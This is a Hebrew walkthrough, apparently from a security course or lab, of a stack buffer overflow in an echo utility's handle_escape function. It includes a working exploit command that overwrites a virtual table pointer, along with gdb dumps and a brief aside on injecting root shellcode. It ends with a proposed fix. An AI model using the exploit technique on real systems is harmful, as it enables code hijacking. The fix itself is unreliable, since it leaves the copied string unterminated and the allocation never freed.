החולשה

על מנת לנצל את החולשה אנו משתמשים בעקרונות שונים כמו יצירת משתנה סביבה, דריסת virtual table pointer ועוד...אך כל אלו לא היו שימושיים לנו ללא החולשה אשר פותחת לנו את "קן הצרעות" אשר מאפשר לנו לתקוף את המערכת ולקרוא לפונקציה unreachable.

ראשית, נגדיר את החולשה

סוג: Stack buffer overflow

הפונקציה בה קיימת החולשה: handle_escape

חלק הקוד בו קיימת החולשה:

```
void handle_escape(const char* str)
{
    struct
    {
        char buffer[16] = { 0 };
        Handler h;
    } l;

    // copy only the characters after the escape char
    const char* s = str;
    char* p = l.buffer;
    s++;
    while (*s)
        *p++ = *s++;

    // handle different options
    switch (l.buffer[0])
    {
    case 'x':
        l.h.interpret(l.buffer);
        break;

    default:
        fputs(str, stdout);
    }
}
```

מדוע זאת חולשה?

גודל המערך char buffer מוגדר בזמן קומפילציה להיות בגודל 16 בתים וכל תא מאותחל עם הערך 0(הכוונה לערך 0 ממש, **לא** לערך '0' אסקי) בתור תכונה של סטראקט(מבנה) בשם l. משמע כאשר נקרא לפונקציה handle_escape יאותחלו במחסנית הקריאות של התוכנית 16 בתים אשר ייעודם יהיה עבור מבנה הנתונים l.buffer .

בקטע הקוד המסומן במסגרת צהובה מתרחשת העתקה, אנו מעתיקים את ערכו של s (לא כולל התו הראשון) ל- l.buffer. אנו מבצעים העתקה זאת על פי תנאי התנאי while(*s) משמע כל עוד לא הגענו לתא האחרון של s, וכל פעם מתקדמים לתא הבא של הסטרינג s(אשר מתקבל בתור פרמטר של הפונקציה) ו- p (אשר מאותחל להצביע על התא הראשון במערך l.buffer) ללא התחשבות בקיבולת התווים המקסימלית ש-l.buffer יכול להכיל. משמע למרות שהוקצו ל-l.buffer 16 בתים בלבד זה לא מונע מאיתנו לכתוב לזיכרון המחסנית אשר נמצא אחר איפה ש-l.buffer הוקצה למרות שזאת לא כוונת כותב הקוד, ובכך אנו מסוגלים לכתוב ולשכתב חלקים בזיכרון המחסנית ללא אישור ולנצל חולשה זאת כרצוננו. (לדוגמה ניתן לנצל זאת על מנת לדרוס את ערך החזרה של eip ובכך להחדיר shellcode זדוני אשר ייתן לנו הרשאות של root). ואכן כמו שציינו, זאתי חולשה מסוג Stack buffer overflow כיוון שאנו בעלי היכולת לשנות תאי זיכרון במחסנית הקריאות מחוץ לקטע של מבנה הנתונים אשר הוגדר לנו(במקרה זה l.buffer).

התקפה

על מנת לבצע התקפה מוצלחת עלינו לשאול את עצמנו כמה שאלות לדוגמה:

כיצד ניתן לנצל את החולשה המתוארת על מנת לקרוא לפונקציה unreachable ?

כיצד ניתן להגיע בכלל להגיע לקטע הקוד שבפונקציה handle_escape ?

התקפה זאת מורכבת מכמה חלקים שונים ולכן ננסה לחלק ולפשט אותה לכמה שיותר שלבים.

ראשית,

קריאה לפונקציה handle_escape

נתחיל מלראות איפה בקוד יש קריאה לפונקציה handle_escape.

נגלה כי יש קריאה יחידה לפונקציה זאת והיא בקטע הקוד הנ"ל אשר נמצא בפונקציית המיין:

```
just_echo:

   while (argc > 0)
   {
      const char* s = argv[0];

      if(do_escape && s[0] == '\\')
         handle_escape(s);
      else
         fputs(argv[0], stdout);

      argc--;
      argv++;
      if (argc > 0)
         putchar(' ');
   }

   if (display_return)
      putchar('\n');

   exit(EXIT_SUCCESS);
```

נשים לב כי הקוד קורא לפונקציה הנחשקת אם"ם מתקיים התנאי הבא:

ערך המשתנה הבוליאני do_escape הוא true.

ערך האות הראשונה בסטרינג s אשר מצביע לסטרינג argv[0](אחד מן הפרמטרים אשר מתקבלים בקריאה לקובץ ההרצה..) הוא '\\' .

בנוסף אסור לשכוח שתנאי זה עטוף בתוך while אשר פועל אם"ם ערך המשתנה argc גדול מ-1.

argc הוא משתנה אשר מונה את כמות הארגומנטים אשר התקבלו עם הפעלת קובץ ההרצה. הוא תמיד גדול מ-1 בעת הכניסה לפונקציית המיין בכיוון שבצורה דיפולטיבית למרות שלא רושמים את זה מפורשות הארגומנט הראשון במקום 0 במערך argv הוא השם המלא של קובץ ההרצה.

אז רגע, מדוע לבדוק תנאי שמתקיים תמיד?

לאחר בדיקה קלה נגלה כי בפונקציית המיין יש את הקוד הנ"ל

```
--argc;
++argv;
```

משמע, ערך argc נעשה קטן באחד והסטרינג הראשון אשר argv מצביע עליו הוא זה שהיה במקום השני לפני זה.

כעת, כיוון שערך המשתנה הבוליאני do_escape מאותחל להיות false עלינו למצוא דרך לשנות את ערכו לtrue. נסתכל בקוד ונשים לב כי אכן יש שורה אשר בקוד אשר משנה את ערכו לtrue:

```
--argc;
++argv;

if (allow_options)
{
   while (argc > 0 && *argv[0] == '-')
   {
      const char* temp = argv[0] + 1;
      size_t i;
      for (i = 0; temp[i]; i++)
         switch (temp[i])
         {
         case 'e': case 'n':
            break;
         default:
            goto just_echo;
         }
      if (i == 0)
         goto just_echo;

      // options are valid
      while (*temp)
         switch (*temp++)
         {
         case 'e':
            do_escape = true;
            break;

         case 'n':
            display_return = false;
            break;
         }

      argc--;
      argv++;
   }
}
```

אך איך נגיע אליה?

על מנת להגיע אליה יש לבצע 2 דברים

1. נסתכל על קטע הקוד, ניתן להבין כי אם הארגומנט השני אשר ניתן למיין יהיה "e-" ערך המשתנה do_escape ישתנה לtrue.

2. אך על מנת להגיע לקטע הקוד עלינו להיכנס לתוך התנאי העוטף, וניתן להכנס לתנאי אם"ם ערך המשתנה הבוליאני allow_options הוא true.

נסתכל ונגלה כי ערך המשתנה allow_options הוא אמת אם"ם המשתנה env מצביע על כתובת כלשהי אשר אינה NULL. אך מתי זה מתקיים?

```
char* env = dupenv("ECHOUTIL_OPT_ON");
bool allow_options = env != NULL;
free(env);
```

ממבט על מימוש הפונקציה dupenv נגלה כי הפונקציה מחזירה העתק של הערך של המשתנה הסביבתי ECHOUTIL_OPT_ON ואם לא קיים היא תחזיר NULL. לכן כל מה שעלינו לעשות על מנת שערך המשתנה allow_options יהיה אמת זה ליצור משתנה סביבתי בעל השם הנ"ל עם ערך כלשהו, (נזכיר כי אנו עובדים בלינוקס) ולכן לפני הרצת התוכנית נרשום את הפקודה:

export ECHOUTIL_OPT_ON=1

וכעת כאשר נריץ את התוכנית ערך המשתנה הבוליאני allow_options יהיה אמת ונכנס לתנאי.

עידו סיני

נניח כי שם קובץ ההרצה הוא a.out אז הרצת השורה

./a.out -e

תשנה את ערך המשתנה do_escape לאמת כשרצינו אך זה עדיין לא מספיק על מנת לקרוא לפונקציה handle_escape! עלינו לדאוג כי התנאי '\\'==s[0] יתקיים.

קטע הקוד

```
--argc;
++argv;
```

מתקיים פעמיים!

```
--argc;
++argv;

if (allow_options)
{
   while (argc > 0 && *argv[0] == '-')
   {
      const char* temp = argv[0] + 1;
      size_t i;
      for (i = 0; temp[i]; i++)
         switch (temp[i])
         {
         case 'e': case 'n':
            break;
         default:
            goto just_echo;
         }
      if (i == 0)
         goto just_echo;

      // options are valid
      while (*temp)
         switch (*temp++)
         {
         case 'e':
            do_escape = true;
            break;

         case 'n':
            display_return = false;
            break;
         }

      argc--;
      argv++;
   }
}
```

ולכן יש לנו צורך בארגומנט למיין נוסף אשר ערך התא הראשון יהיה '\\'! נעזר בפייתון בשביל לייצר ארגומנטים כרצוננו,

./a.out $(python2 -c 'print("-e")') $(python2 -c 'print("\\")')

והידד! כאשר נריץ שורה זאת אכן יתקבל כי תקרא הפונקציה handle_escape אשר ייחלנו להכנס אליה.

ניצול החולשה בפונקציה handle_escape

הרעיון הכללי :

באמצעות ניצול חולשת ה Stack buffer overflow נשנה את ערך המצביע virtual table pointer של האובייקט h ממחלקת Handler אשר נמצא בסטראקט(מבנה) l כך שכאשר נקרא לפונקציה interpret של מחלקת Handler במקום לקרוא לפונקציה helper היא תקרא לפונקציה unreachable.

לאחר הרצת הקוד והדיבוג שלו נגלה כי ערך המצביע virtual table pointer של l.h מוגדר במחסנית הקריאות **לפני** המערך l.buffer משמע כאשר נדרוס את הערכים אשר נמצאים אחרי l.buffer המצביע לטבלה הווירטואלית יהיה אחד מהם, ונוכל לשנות את ערכו כרצוננו.

אך לאיזה ערך נשנה אותו?

```
[0]: 0x56556732 <Handler::unreachable()>
[1]: 0x56556768 <Handler::helper(char const*)>
(gdb) p l.h
$14 = {_vptr.Handler = 0x56558ec8 <vtable for Handler+8>}
(gdb) x/16x 0x56558ec8
0x56558ec8 <_ZTV7Handler+8>:    0x56556732      0x56556768      0xf7f826f4      0x5655715c
0x56558ed8:     0x00000001      0x000002f8      0x00000001      0x00000307
0x56558ee8:     0x00000001      0x00000311      0x00000001      0x0000031f
0x56558ef8:     0x0000000c      0x00001000      0x0000000d      0x00001b68
```

ניתן לראות בתמונה כי המצביע לטבלה הווירטואלית מצביע להיכן שנמצאת הכתובת של הפונקציה unreachable ו-4 בתים לאחר מכן נמצאת הכתובת לפונקציה helper.

```
push   ebp
mov    ebp,esp
sub    esp,0x8
call   0x56556aba <__x86.get_pc_thunk.ax>
add    eax,0x274d
mov    eax,DWORD PTR [ebp+0x8]
mov    eax,DWORD PTR [eax]
add    eax,0x4
mov    eax,DWORD PTR [eax]
sub    esp,0x8
push   DWORD PTR [ebp+0xc]
push   DWORD PTR [ebp+0x8]
call   eax
add    esp,0x10
nop
leave
ret
```

מהסתכלות על קוד האסמבלי של התוכנית ניתן להבין כי הקוד בעצם ניגש לכתובת אליה המצביע לטבלה הוירטואלית מצביע, מתקדם 4 בתים קדימה (add eax, 0x4) ולאחר מכן לוקח מהתא בזיכרון את הערך הנמצא בו וקורא לו(במקרה שלנו זאת הכתובת לפונקציה helper). ולכן ניתן להסיק כי אם נקטין את ערך המצביע לטבלה הווירטואלית ב-4 הפונקציה שתקרא במקום תהיה unreachable.

נסתכל בזיכרון המחסנית

```
0xffffd700:     0x00000000      0x00000000      0x56558ec8      0x82080800
0xffffd710:     0xffffd780      0x56559000      0xffffd768      0x56556618
0xffffd720:     0xffffda07      0x00000002      0xffffd748      0x56556474
0xffffd730:     0x00000001      0x0000ffff      0x00000000      0x010101d3
0xffffd740:     0xffffda06      0x00000001      0x5655ebb0      0xffffda07
0xffffd750:     0x00000003      0xffffd824      0xffffd834      0xffffd780
```

עלינו "לרפד" את התאים בזיכרון אשר באים לפני ערך הכתובת של המצביע הווירטואלי ולאחר מכן להקטין ב-4 את הכתובת. כך זה יראה:

```
0xffffd700:     0x41414141      0x41414141      0x56558ec4      0x185e0d00
0xffffd710:     0xffffd780      0x56559000      0xffffd768      0x56556618
0xffffd720:     0xffffda07      0x00000002      0xffffd748      0x56556474
0xffffd730:     0x00000001      0x0000ffff      0x00000000      0x010101d3
0xffffd740:     0xffffda06      0x00000001      0x5655ebb0      0xffffda07
0xffffd750:     0x00000003      0xffffd824      0xffffd834      0xffffd780
```

בעקבות הזרימה הלוגית של הפונקציה handle_escape על מנת לקרוא לפונקציה interpret עלינו להוסיף את האות x לאחר התו הראשון '\\' של הארגומנט השני למיין, לאחר מכן את הריפוד ולבסוף את ערך ההקסה החדש אשר באמצעותו נדרוס את הקודם.

נבצע זאת באמצעות הפקודה

./a.out $(python2 -c 'print("-e")') $(python2 -c 'print("\\x" + "A"*15 + "\xc4")')

והרי ! השגנו את התוצאה רצויה:

```
[idou@ido defensive]$ export ECHOUTIL_OPT_ON=1
[idou@ido defensive]$ ./a.out $(python2 -c 'print("-e")') $(python2 -c 'print("\\x" + "A"*15 + "\xc4")')
Cowabunga![idou@ido defensive]$
```

ההגנה

במהלך ההתקפה עברנו על נושאים שונים והשתמשנו בטכניקות רבות על מנת לבצע את הנדרש, אך הכל מתחיל ונגמר **בחולשה** עצמה, לכן על מנת למנוע התקפה זאת ולהגן על הקוד שלנו עלינו להגן מפני החולשה Stack buffer overflow.

כיצד נעשה זאת?

נאתחל את הסטרינג l.buffer בצורה דינאמית כך שיהיה בגודל של str + 1 (בשביל התא הסופי אשר יהיה NULL אשר אומר כי זהו סופו של הסטרינג) ולכן לא נחרוג משום גבולות זיכרון כי גודלו של l.buffer יהיה בדיוק כנדרש ! (לא לשכוח לעשות #include <cstring> בראש הקובץ)

<u>תיקון</u>

```
void handle_escape(const char* str)
{
  struct
  {
    char* buffer = 0;
    Handler h;
  } l;
  // copy only the characters after the escape char
  const char* s = str;
  l.buffer = new char[strlen(str)+1]; //dynamic alloc
  char* p = l.buffer;
  s++;
  while (*s)
    *p++ = *s++;

  // handle different options
  switch (l.buffer[0])
  {
  case 'x':
    l.h.interpret(l.buffer);
    break;

  default:
    fputs(str, stdout);
  }
}
```